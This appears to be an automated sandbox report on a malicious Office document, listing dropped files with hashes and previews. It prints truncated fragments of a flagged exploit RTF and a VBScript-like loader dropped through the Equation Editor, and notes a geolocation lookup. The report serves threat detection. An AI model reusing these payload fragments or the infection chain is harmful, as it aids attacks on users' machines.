                      MD5:446DD1CF97EABA21CF14D03AEBC79F27
                      SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                      SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                      SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                      Malicious:false
                      Preview:@...e...........................................................

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\json[1].json

                      Download File
                      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      File Type:JSON data
                      Category:dropped
                      Size (bytes):962
                      Entropy (8bit):5.013811273052389
                      Encrypted:false
                      SSDEEP:12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
                      MD5:18BC6D34FABB00C1E30D98E8DAEC814A
                      SHA1:D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
                      SHA-256:862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
                      SHA-512:8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
                      Malicious:false
                      Preview:{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].doc

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Rich Text Format data, version 1
                      Category:dropped
                      Size (bytes):80092
                      Entropy (8bit):2.4493102661720756
                      Encrypted:false
                      SSDEEP:384:NfDP6/ThqhsKJtWLrAz0HKrxSddu1rMuY5XrSd0Okp4xWt:Nz6/TUGKcPrKkPuxM1XrSLM
                      MD5:7279AB0FBC0A02D8B6966ED3CDF67ACA
                      SHA1:4A6BEF6DBA00CC872E10B66B00786ACE03E6443A
                      SHA-256:04714EC4A9CFA0304D2DE5012AE1081850D2A2B080AD68831BA2C8385BDA4D01
                      SHA-512:C129B5BF918CD836AE2A2543354C222AEB6A9D8F8132F9CEA30E43C8B0A3175D6A63FA2591BFEA0950352495BF3B57ABE692B29D88B19871286115CECA08CBC7
                      Malicious:true
                      Yara Hits:
                      • Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].doc, Author: ditekSHen
                      Antivirus:
                      • Antivirus: Avira, Detection: 100%
                      Preview:{\rtf1............{\*\protusertbl666076059 \=}.{\119491334.(?-*4|]:48162>!.$?~.*0(88;~?<$`^$;.+/0*.21~_*>`@_&6?%|:*'34*,7|/^,4?+%?=<0.`0924~&?1.5:*?.02$0-?.5%<*)[9|@<?;?<_;72?('?;0?5+`3$`>!7?7|6(?[1.3~?.2:>>%;$,()9-`=5~9#0;`/-:3.;~`+1,0.%35%^]%<.^;59!45]8/.'[-%(.]/>?63]?+'!<^>?(&#|?[',03?'|;07.+,4-^+'?9.?1<.*?7?#=_+.~?/..;/0.[???[/.3.=1~.#:9~??:+<0#7.'>:~.5!5-'^)/'?2>0?.',<?=._!859/.~&?&?05.;-&<=%|.!;9@4=??~6//.6?)=+!3?;'%..;,6_'?=~<2!6?%<~>@)'7@%_^'!@*(?7#))6[+]@?%`>`.#~8.5?+7?~7&%+8$()|18?&==?$?6.&#.?[3~&?7016>$?@#.?].~?#4,8<_6?<.]%_47%!09=~`($3+7>;`>(%:,#?.-?.?,;//?<@0?;#8?:;=)|.&.~<]>~#-%*%|141-?<;5_*/<#3?9[:9*$5.|?8/]|?,~$?.?..:&,9<-)6~]]?~*?)/.?208]-+.56^:[1+4'#?^2+!_|?#7!/.#~5~&5;_=9.?(?-610+5^8.86*#.`*!1.)?=1'9>;+?_*<?[.*?4[.>.'^~@_:[?^<,(#1%/'.?6?(8,%3?311=0$%?07@82$-3|?%%].4$|>..3~]:?..71=]78>]*_.~;31|]~.8?=.;>)=%75!;4(4|?)+!%282!,43&?(;^`.37+6?~0#+5~|10./%+?_&-).%**3?6:7]25'1?,[%..?7>:_?|@][%@%@2.%$.(???<|<2??,7:[=%.5.?42;_[02(&7-_.-1?<%?]+28,4?!%.!/222|#%'0@*)?2,9|?59~[5`&;

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\weseethesimplethingsalwaystoget[1].gif

                      Download File
                      Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                      File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                      Category:dropped
                      Size (bytes):414990
                      Entropy (8bit):3.5776427335218326
                      Encrypted:false
                      SSDEEP:3072:sHGowfvYF7hNe4VTdRnTT8w4TWIdqruoJTgCOpBKEMDS7opi70cmt07CjeJIvv:OwfvYFqdqR
                      MD5:C7F6CF5DA3192C2CAE7D911EE67F6620
                      SHA1:9502C8B3D6FAAFC64C45C7731CA9528DB6B7ED76
                      SHA-256:8EC7A5B08CAF43325E9C75D3E9397418ABE644CFC39185F5BC0AC5A9E954F858
                      SHA-512:CFBA63F83B3667C80E7615C676CF858B7B816E9202B4C2F6FCBD86A9D54BB29E959B6B4E791C9ADF00B43A278ECCE8D4824F214224DE15708D3DE5D4F5E7130A
                      Malicious:false
                      Preview:..d.i.m. .i.l.l.a.c.e.r.a.d.o.E.E. .....i.l.l.a.c.e.r.a.d.o.E. .=. .r.a.n.i.n.o.........a.n.a.d.a.r.(.".L._.H.e.l.p.A.l.i.a.s._.0.0.1._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".L._.H.e.l.p.A.l.i.a.s._.0.0.2._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".L._.H.e.l.p.A.l.i.a.s._.0.0.3._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.4._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.6._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.7._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\294FDB2C.emf

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                      Category:dropped
                      Size (bytes):30736
                      Entropy (8bit):3.112743973762088
                      Encrypted:false
                      SSDEEP:384:oaeLQkOC7gTf+5RHvT6oOIsc3EvibG7RXRBJC:nKOTovT6oJsFd7RXRB8
                      MD5:4E02CD7CAAD99F3D1FBA66B8B96BE96D
                      SHA1:984D22CF7EF48B86D73FE4D859CA3D3F616BA13B
                      SHA-256:498C491259D7C9E50ABD9E82711361DBC3FFF281E693E797EACA6B6FDDF5EFB9
                      SHA-512:4A10DC87E678B5B71ECEEAFEEFE1AFC6746345771E707AAE91E70C012CD4FD7CE8C44D3D447993F7CEFF0A53B18371381B2FF61A5E24D4065971EC08472E19F6
                      Malicious:false
                      Preview:....l...........;..._...........~@...<.. EMF.....x..........................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................<...`...%...........%.......................R...p................................@..T.i.m.e.s. .N.e.w. .R.o.m.a.n.......................................................................+.-L......................................... .E..........................G................*..Ax...N..............T.i.m.e.s. .N.e.w. .R.o...J.....6...............p...................................................dv......%...........%...........%.......................T...T...........+...q........i.@...@....Z.......L...............<...`...P... ...,...............T...T...,.......W...q........i.@...@,...Z.......L...............<...`...P... ...,...............T...T...X...........q........i.@...@X...Z.......L...............<...

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.doc

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:Rich Text Format data, version 1
                      Category:dropped
                      Size (bytes):80092
                      Entropy (8bit):2.4493102661720756
                      Encrypted:false
                      SSDEEP:384:NfDP6/ThqhsKJtWLrAz0HKrxSddu1rMuY5XrSd0Okp4xWt:Nz6/TUGKcPrKkPuxM1XrSLM
                      MD5:7279AB0FBC0A02D8B6966ED3CDF67ACA
                      SHA1:4A6BEF6DBA00CC872E10B66B00786ACE03E6443A
                      SHA-256:04714EC4A9CFA0304D2DE5012AE1081850D2A2B080AD68831BA2C8385BDA4D01
                      SHA-512:C129B5BF918CD836AE2A2543354C222AEB6A9D8F8132F9CEA30E43C8B0A3175D6A63FA2591BFEA0950352495BF3B57ABE692B29D88B19871286115CECA08CBC7
                      Malicious:true
                      Yara Hits:
                      • Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.doc, Author: ditekSHen
                      Antivirus:
                      • Antivirus: Avira, Detection: 100%
                      Preview:{\rtf1............{\*\protusertbl666076059 \=}.{\119491334.(?-*4|]:48162>!.$?~.*0(88;~?<$`^$;.+/0*.21~_*>`@_&6?%|:*'34*,7|/^,4?+%?=<0.`0924~&?1.5:*?.02$0-?.5%<*)[9|@<?;?<_;72?('?;0?5+`3$`>!7?7|6(?[1.3~?.2:>>%;$,()9-`=5~9#0;`/-:3.;~`+1,0.%35%^]%<.^;59!45]8/.'[-%(.]/>?63]?+'!<^>?(&#|?[',03?'|;07.+,4-^+'?9.?1<.*?7?#=_+.~?/..;/0.[???[/.3.=1~.#:9~??:+<0#7.'>:~.5!5-'^)/'?2>0?.',<?=._!859/.~&?&?05.;-&<=%|.!;9@4=??~6//.6?)=+!3?;'%..;,6_'?=~<2!6?%<~>@)'7@%_^'!@*(?7#))6[+]@?%`>`.#~8.5?+7?~7&%+8$()|18?&==?$?6.&#.?[3~&?7016>$?@#.?].~?#4,8<_6?<.]%_47%!09=~`($3+7>;`>(%:,#?.-?.?,;//?<@0?;#8?:;=)|.&.~<]>~#-%*%|141-?<;5_*/<#3?9[:9*$5.|?8/]|?,~$?.?..:&,9<-)6~]]?~*?)/.?208]-+.56^:[1+4'#?^2+!_|?#7!/.#~5~&5;_=9.?(?-610+5^8.86*#.`*!1.)?=1'9>;+?_*<?[.*?4[.>.'^~@_:[?^<,(#1%/'.?6?(8,%3?311=0$%?07@82$-3|?%%].4$|>..3~]:?..71=]78>]*_.~;31|]~.8?=.;>)=%75!;4(4|?)+!%282!,43&?(;^`.37+6?~0#+5~|10./%+?_&-).%**3?6:7]25'1?,[%..?7>:_?|@][%@%@2.%$.(???<|<2??,7:[=%.5.?42;_[02(&7-_.-1?<%?]+28,4?!%.!/222|#%'0@*)?2,9|?59~[5`&;

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\51ADA93D.emf

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                      Category:dropped
                      Size (bytes):4849612
                      Entropy (8bit):4.320889750809221
                      Encrypted:false
                      SSDEEP:24576:we1H+3l4ri2A/uYFW3fwDmqJ1+wZSat3wwKuWh1Owf:Ju/uYFW3fwbJ1+wZSat3wwkh1Owf
                      MD5:4B29D17919444ED683954C92FEEC5F6E
                      SHA1:503A1B9F5D840A74AC1275FB85AED8E0D6F1BE99
                      SHA-256:79DB6597D07EA8268CE075824C6EB878205424310853BC2E60A5A75B25095545
                      SHA-512:902C40ED976E703534DB40A938CAA9E22E9ADB053F35EB090C9A56337AD64320E7AC3588C1ACF5E3B420665EA94178328BCB4C437E85A0ACE94A819422C126F9
                      Malicious:false
                      Preview:....l............................]...L.. EMF......I.............................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................I..."...........!...................................................I..."...........!...................................................I..."...........!...................................................I..."...........!...................................................I..."...........!...................................................I...'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A5438CD6.emf

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                      Category:dropped
                      Size (bytes):169096
                      Entropy (8bit):3.369564690022728
                      Encrypted:false
                      SSDEEP:1536:WK83moqvL5TWvyvcSg2JjEeSxqLY5ml1re71NmWqnb11ruEA9TAe:WF3H2t4Sg2JjEWE5mSZB
                      MD5:DCF8C56CAB759D132AD0B11703B8015C
                      SHA1:C656AF02D26A18CE716A28C36B34BEE75D00E2B4
                      SHA-256:38F17A599AC5D645DF3840BBB401710EF81573A747DA20ABBFC1B7D9A9273B58
                      SHA-512:F6A9BAEA096279DBDBFD370B26899D259ED6B6DAFA8042594389523EA210CBECDC14ADD78AB7568E1C3EC8C0DF7AFCCAAD0ED7E22A879F6023C8317B6712973C
                      Malicious:false
                      Preview:....l...........[...y...........%...J... EMF................................@.......................0]..8...Q...............[...y...................\...z...P...(...x........... ...\...z...(...Z...z..... .......................................................................................................................]..V...e,..g...\ ..Q...[...M...]!..V...Q...W...\...h/..i1..Y...\...L...Y...^"..M..~G..}G..}F..}F..}F..}F..}F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..}G...L......................................................................{{{..................................................................................................................................................................................................................................................................................................N...S...S...S...W...X...g...h0..Y...T...W...O...^"..b(..M...M..._$.

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AE4145EA.emf

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                      Category:dropped
                      Size (bytes):4703908
                      Entropy (8bit):4.108755513997265
                      Encrypted:false
                      SSDEEP:24576:eH/4ri2lP3U5Ide3nwLWKZ1ewA0at3wwKuWh1OwZ:zPkIde3nwTZ1ewA0at3wwkh1OwZ
                      MD5:5A009D819202C3B5E9D9094650ABBDE4
                      SHA1:28C04CD4679238CBCED357A620B6D65A362EE56F
                      SHA-256:F5CD65B042173619109E7B2A19CAC9F99D11B5131405C4360B6AF789CE1E41F1
                      SHA-512:0B5F1CEF1C552557212756A19E23AF83795CCEAA0118CAE7969FAB77D5F857CBEDD12761E951307CABBCD544C584EA1353B9F4674AFB20B4CD58D904752E0F53
                      Malicious:false
                      Preview:....l..........._................T...F.. EMF......G.~.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CF80A588.emf

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                      Category:dropped
                      Size (bytes):7304
                      Entropy (8bit):3.412642571176521
                      Encrypted:false
                      SSDEEP:48:SsIz+zVyTYbheEdLtaREAF2pdfwfDaKfL4mNCuW1edGV:S5zQMTY95dsyka1qDgZ
                      MD5:56EAF38719E6D6D96641C9B6C9DCD796
                      SHA1:05ED12A4E7D8A85CA31083D0C2138BBC57A50523
                      SHA-256:90AE851952E92612ABF55601A1AEF6A9F7949B5560AB6B5E5B94E6F6298E2549
                      SHA-512:07E5052172EDC67C510B5CA5624A8F09680D1CCF8A63D6DDC7A02B30E60B4A3F1C51EDA35983985F4A9F3F6ADBD07CA9EA55136757089539F15FBDA6C9F77015
                      Malicious:false
                      Preview:....l...........X...<................... EMF................................8...X....................?..............................c...C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X.......d.......................P.....7q....\.....................7q.........V.v..7q......7q.....{.wp..................w....$.......d.......4...*]8q.....]8qh...p...(.......-......V<.w................<.rv.\.v....X.2S...............................vdv......%...................................r...............E...'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .............................................................................................................................................................................................................................bdg.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.ruw.

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F5C497E9.emf

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                      Category:dropped
                      Size (bytes):3419212
                      Entropy (8bit):4.087977165785929
                      Encrypted:false
                      SSDEEP:12288:F1HpPI5R32GnjPjIwcusrwvsWXKcnXfxpMZacUkRaN7Hjo1PWwWD8dt3iGnjPjIt:FvOR30wOSKx1OwWat3wwKuWh1Owv
                      MD5:87F8C141E9320F717B3AA3A251147917
                      SHA1:2C7F549E720DDDBD90A756E98B048BBBE1A24806
                      SHA-256:89C90BD7FB3DF8F83D641A5F89206D512BBBF779DD18B71E90FD770264F5676A
                      SHA-512:1AEFF1C8BFAE63034C253F5CDD4E22E3B212E97F253960278A40BA29F23DD446733E933825AC7E007C6C215A0536EAC64A70443CB2E8DFBA67EBBCE46DA6A7C5
                      Malicious:false
                      Preview:....l..........._...r...........QN...a.. EMF....L,4.........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F716ADF.png

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:PNG image data, 731 x 391, 8-bit/color RGB, interlaced
                      Category:dropped
                      Size (bytes):114223
                      Entropy (8bit):7.9934212565976415
                      Encrypted:true
                      SSDEEP:1536:cX9THBYT6A17j6ZE4+ZVkVIXMK7MpNc+Bj5uuUBQp12RTmmPHFSTm:QTHBq6U/6xVsMKgpNc+ZwuURRTd9STm
                      MD5:7F72BA3C4366E5F9603DC0FE9C70D4E4
                      SHA1:FA3DACFB4E2ECA8BFAFCCE8BE5ADE7EE7B3722F1
                      SHA-256:4BD578FBCFC208744CFEC575FEC397A77AF66D5688E0C3CD034B4628EFDF910A
                      SHA-512:B8B7B8D4441609F64AF477301355BC8DAE84A16EA595A4923391530F2EE6F4B3F85437541F6408398593D3E1223B56FFCEBEB119C43D97C6213C640799CA6863
                      Malicious:false
                      Preview:.PNG........IHDR...............9x....sRGB.........gAMA......a.....pHYs..........+......IDATx^......c7..7z.J !.@..ww.`..........-.......|......d.g..........g...]...*.<.\.l/.......e...w..Q...\.y..qR.0.$&M.D..^....O...M.../...e.6....$..=..M.'a.@JQz.y.....4..a>p.....N.....>E."..z....C...U.W^..qc...Z.f.).........S.D.}...c...t.R.x..e..$...........T.i.&...+J.,...&!f%....;$.+!(.J...ZPe.....RJ..-.Q....l.v..._~.e).....T...a.w.......Jy..E1<>S.....q...T...Z.'.O)A....l..M...Qz.....=...I.3|..}.Y.|....9...6m.0<...q..+V<u......}.](..W_}.....,0U.......[....'.....]..L.2_|..Y.-Z4....N)%A..o..&..{..e.H...../]..[..)..[....9.K...{.c.j-r..o......t.TA............*q..q._}..].4...L..'K.fG..M........,. ....;.]C.[...4i.h......$I.t...E..5..x....>}....N..'L..}.....#+.~.H.N.8A.Pf.M.[.,Xp.%.$....n.:....(..$......N.J+.o.>t1n.8.......#R.{.....^...r..*r+.{.I.7o.V.i.E@.....e.B}G\Dl....R.@.*.u......}..`j..n.8..J.a.g.|-cc..v.Z..-._,Z..{...o..y.f.

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:Composite Document File V2 Document, Cannot read section info
                      Category:dropped
                      Size (bytes):15360
                      Entropy (8bit):5.787718467068403
                      Encrypted:false
                      SSDEEP:384:gxP8R5wMOHP525wMO8Ph25wMO8Pdy5wMOQPdi5wMO:D5V525y5u5
                      MD5:E95D7C06DDD2C2893A112E5D94B60500
                      SHA1:101A2EB67FB29706F76DBAF846F7621897D22B04
                      SHA-256:87B9183B3DA3D6E3BED6937DCCCC9D3141A5B42133096181C631B176ED03725E
                      SHA-512:2ADA0CDFE0632ABE9821955C48C9AE178A449CB51B0139DE7BEA0B3B22C46E6621D29213666F25E5DBD272B4D16D47E91BC7A4620126751E10A017F651420DAA
                      Malicious:true
                      Antivirus:
                      • Antivirus: Avira, Detection: 100%
                      Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{05F48CA1-49D0-4237-8D49-5449AD97BB0F}.tmp

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):1024
                      Entropy (8bit):0.05390218305374581
                      Encrypted:false
                      SSDEEP:3:ol3lYdn:4Wn
                      MD5:5D4D94EE7E06BBB0AF9584119797B23A
                      SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                      SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                      SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                      Malicious:false
                      Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D49875CF-31FE-4D7F-8151-0B86FCB14E32}.tmp

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):6144
                      Entropy (8bit):3.4306375443017565
                      Encrypted:false
                      SSDEEP:96:kzuywIuEfNVI/zjpKSp30DDcohcqrew1F9+QQ+b8s4edtQ4gljlCAxYoHCCwCQuA:kJ/uEvyXZKDD1ZrFF9vn8srXglj1xYoK
                      MD5:7B77A13E831BF00230835CD08F51405A
                      SHA1:41AC03C0F84255A4EDEEF4EFCC94820E5824FE7D
                      SHA-256:D1D8CDBF8F64D2AF7FCF37F8C7CAB307187C331251D6221851E8C0AEA138393B
                      SHA-512:12005CDA9EE724B0DFBD53A90B9042C6707CD55927C58456FE99D0E9F172175CB5AAAB44D1339234295FB2BF54A52D08D9F12F83B9AA091C89808B4A6E0D900F
                      Malicious:false
                      Preview:............1.9.4.9.1.3.3.4...(.?.-.*.4.|.].:.4.8.1.6.2.>.!...$.?.~...*.0.(.8.8.;.~.?.<.$.`.^.$.;...+./.0.*...2.1.~._.*.>.`.@._.&.6.?.%.|.:.*.'.3.4.*.,.7.|./.^.,.4.?.+.%.?.=.<.0...`.0.9.2.4.~.&.?.1...5.:.*.?...0.2.$.0.-.?...5.%.<.*.).[.9.|.@.<.?.;.?.<._.;.7.2.?.(.'.?.;.0.?.5.+.`.3.$.`.>.!.7.?.7.|.6.(.?.[.1...3.~.?...2.:.>.>.%.;.$.,.(.).9.-.`.=.5.~.9.#.0.;.`./.-.:.3...;.~.`.+.1.,.0...%.3.5.%.^.].%.<...^.;.5.9.!.4.5.].8./...'.[.-.%.(...]./.>.?.6.3.].?.+.'.!.<.^.>.?.(.&.#.|.?.[.'.,.0.3.?.'.|.;.0.7...+.,.4.-.^.+.'.?.9...?.1.<...*.?.7.?.#.=._.+...~.?./.....;./.0...[.?.?.?.[./...3...=.1.~...#.:.9.~.?.?.:.+.<.0.#.7...'.>.:.~...5.!.5.-.'.^.)./.'.?.2.>.0.?...'.,.<.?.=..._.!.8.5.9./...~.&.?.&.?.0.5...;.-.&.<.=.%.|...!.;.9.@.4.=.?.?.~.6././...6.?.).=.+.!.3.?.;.'.%.....;.,.6._.'.?.=.~.<.2.!.6.?.%.<.~.>.@.).'.7.@.%._.^.'.!.@.*.(.?.7.#.).).6.[.+.].@.?.%.`.>.`...#.~.8...5.?.+.7.?.~.7.&.%.+.8.$.(.).|.1.8.?.&.=.=.?.$.?.6...&.#...?.[.3.~.&.?.7.0.1.6.>.$.?.@.#...?.]...~.?.#.4.,.8.<._.6.?.<...].%._.4.7.%.

                      C:\Users\user\AppData\Local\Temp\4vv2ls5v.2cs.ps1

                      Download File
                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      File Type:very short file (no magic)
                      Category:dropped
                      Size (bytes):1
                      Entropy (8bit):0.0
                      Encrypted:false
                      SSDEEP:3:U:U
                      MD5:C4CA4238A0B923820DCC509A6F75849B
                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                      Malicious:false
                      Preview:1

                      C:\Users\user\AppData\Local\Temp\c5nkvo2g.tcy.psm1

                      Download File
                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      File Type:very short file (no magic)
                      Category:dropped
                      Size (bytes):1
                      Entropy (8bit):0.0
                      Encrypted:false
                      SSDEEP:3:U:U
                      MD5:C4CA4238A0B923820DCC509A6F75849B
                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                      Malicious:false
                      Preview:1

                      C:\Users\user\AppData\Local\Temp\zynova.jpeg

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 498x1080, components 3
                      Category:dropped
                      Size (bytes):29468
                      Entropy (8bit):7.75438130409642
                      Encrypted:false
                      SSDEEP:384:rZhaPKVJZiDgSaUNxR/cSrbB3PB142ArB8wVH/aeAO/aKLJdRWfSDZ:NVJZiDZrNxRcSrbB3PJArrfWO/ttdRIg
                      MD5:CD61E82FF399A5AC438529B27A35046F
                      SHA1:025577E1928A9FFFFD25CBE6DCAF549DD1F9268C
